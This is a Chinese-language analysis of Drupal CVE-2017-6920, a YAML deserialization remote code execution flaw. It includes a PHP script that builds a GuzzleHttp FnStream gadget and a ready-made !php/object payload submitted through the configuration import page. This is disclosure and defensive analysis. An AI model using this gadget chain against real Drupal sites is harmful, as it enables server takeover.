0x00 漏洞介绍

2017年6月23日,Drupal的版本更新到了 8.3.4 。此版本的修复包括了3个安全漏洞,其中还包含了官方评级为 critical 的远程代码执行漏洞。

官方的介绍为:

PECL YAML parser unsafe object handling - Critical - Drupal 8 - CVE-2017-6920

PECL YAML parser does not handle PHP objects safely during certain operations within Drupal core. This could lead to remote code execution.

详细的说就是, YAML 组件会对 YAML 格式的字符串进行反序列化操作,这个过程中,如果传入的值被攻击者控制,则会导致远程代码执行漏洞。

YAML的介绍

这个漏洞的利用条件是:

  • 管理员权限
  • php运行环境安装了yaml插件

0x01 漏洞分析

首先我们先看下官方修复了什么?

官方的修复很简单,就是在调用 yaml_parse 前,先初始化一个全局变量,此变量的作用是啥?我们慢慢往下看。

接下来,我们先看下 yaml_parse 的官方介绍。

官方说的很详细,就是把 YAML 格式的文档转换成 php 对象。

重点要来了,我们接着看此网页的下面。

带颜色的内容是个警告,非信任的内容输入到 yaml_parse 中非常危险,如果带着 !php/object 标签,则标签后的内容会调用 unserialize() 函数。也就是 yaml_parse === unserialize

有兴趣的同学可以手工实验下。

我这里贴一张反序列化的图。

那么确认了此接口能反序列化,接下来就是老思路了。

  • 找可控点。
  • 利用反序列化远程执行代码。

找可控点

可控点的寻找,这次比较简单,官方github的更新就有提到。

URL为: http://127.0.0.1/drupal-8.3.3/admin/config/development/configuration/single/import

利用反序列化远程执行代码

如果对反序列化比较熟悉,应该有以下两个思路找代码执行。

  • 找魔术方法
  • 找执行流,进行变量覆盖

具体可以参考这个文章 vBulletin 5.0.x - 5.1.x RCE

本次利用选择是的找魔术方法。

魔术方法介绍

一般情况下,首先应看这两个方法是否存在代码执行的点。

  • __construct()
  • __destruct()

在 GuzzleHttp\Psr7\FnStream 的 FnStream 找到可利用点。

这个类的析构函数会把 fn_close 作为函数执行,而 fn_close 我们可控。

public function __destruct()
{
    if (isset($this->_fn_close)) {
        call_user_func($this->_fn_close);
    }
}

我们在下面url的页面提交poc即可。

http://127.0.0.1/drupal-8.3.3/admin/config/development/configuration/single/import

生成poc的php为:

<?php

require "c://wamp64//www//drupal-8.3.3//" . '/vendor/autoload.php';
$a = new \GuzzleHttp\Psr7\FnStream(array('close'=>'phpinfo'));
$s = serialize( $a );
$aa = yaml_emit($s);
print_r($aa);

?>

poc:

a: !php/object "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\0GuzzleHttp\\Psr7\\FnStream\0methods\";a:1:{s:5:\"close\";s:7:\"phpinfo\";}s:9:\"_fn_close\";s:7:\"phpinfo\";}"

最终的执行效果

0x02漏洞总结

Drupal的这个漏洞目前还存在能代码执行的点,但是由于利用不稳定,暂不公布。

这个漏洞提醒大家在调用yaml格式文档时候,也要进行参数检查,调用 yaml.decode_php 便可以防止yaml按照序列化对象进行解释。

0x03参考内容

http://php.net/manual/zh/function.yaml-parse.php